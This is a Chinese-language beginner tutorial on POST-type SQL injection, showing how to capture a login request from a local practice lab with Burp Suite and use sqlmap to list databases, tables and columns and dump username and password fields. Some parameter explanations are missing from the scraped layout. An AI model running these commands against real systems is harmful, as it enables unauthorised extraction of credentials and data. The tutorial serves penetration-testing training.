SQL注入--sqlmap使用(POST型注入)_sqlmap post
适用人群:网络安全初学者 / Web 渗透测试新手
内容覆盖:抓包 → 参数识别 → SQLMap 操作 → 数据库提取 → 实战技巧
一、目标概述
-
理解什么是 POST 型 SQL 注入。
-
学会使用抓包工具提取注入请求。
-
熟练掌握 SQLMap 在 POST 注入场景下的各种参数和使用方式。
-
掌握自动识别注入点和提取数据库信息的完整流程。
二、工具准备
三、第一步:抓包并保存 POST 请求
操作步骤:
-
打开靶场登录页面(如 sqllibs 第 12 关)。
-
输入任意账号密码,点击登录,Burp Suite 捕获 POST 请求。
-
将完整请求(包括 Headers)复制保存为
1.txt
:POST /login.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 30 username=admin&password=123456
四、第二步:使用 SQLMap 执行注入测试
基本命令结构:
sqlmap.py -r 1.txt -p username --dbs
参数解释:
-r 1.txt
-p username
--dbs
推荐写法(效率高):
sqlmap.py -r 1.txt -p username --dbs
不推荐写法(不稳定):
请求包中使用 username=admin*
,星号标注注入点(可行但复杂)。[测试多个参数就在后门打*就行]
五、提取数据库结构
步骤一:获取当前数据库
sqlmap.py -r 1.txt -p username --current-db
步骤二:列出当前数据库下的所有表
sqlmap.py -r 1.txt -p username -D 当前库名 --tables
步骤三:查看具体表中的字段名
sqlmap.py -r 1.txt -p username -D 当前库名 -T 表名 --columns
步骤四:提取指定字段中的数据
sqlmap.py -r 1.txt -p username -D 当前库名 -T 表名 -C 字段1,字段2 --dump
六、自动识别表单注入点(无需抓包)
sqlmap.py -u http://靶场路径/index.php --forms
功能说明:
-
自动分析表单 (
) 中的字段。
-
自动检测可能的注入点。
-
适合不方便抓包时使用。
注意:
-
仅能检测 POST 表单参数。
-
无法检测 Headers / Cookies 等隐藏参数。
七、注入类型简析(SQLMap 会自动判断)
sleep(5)
)判断成功与否UNION SELECT
获取数据八、完整命令案例汇总
示例 1:获取所有数据库
sqlmap.py -r 1.txt -p username --dbs
示例 2:查看当前数据库
sqlmap.py -r 1.txt -p username --current-db
示例 3:获取当前库的所有表
sqlmap.py -r 1.txt -p username -D security --tables
示例 4:查看某表字段信息
sqlmap.py -r 1.txt -p username -D security -T users --columns
示例 5:导出字段内容
sqlmap.py -r 1.txt -p username -D security -T users -C username,password --dump
九、学习建议
-p 参数名
--dbs
然后深入查询-u
不带 --forms
--batch
跳过所有确认提示十、附录:常用参数速查表
-r file.txt
-p param
--dbs
--tables
--columns
--dump
--forms
--current-db
--batch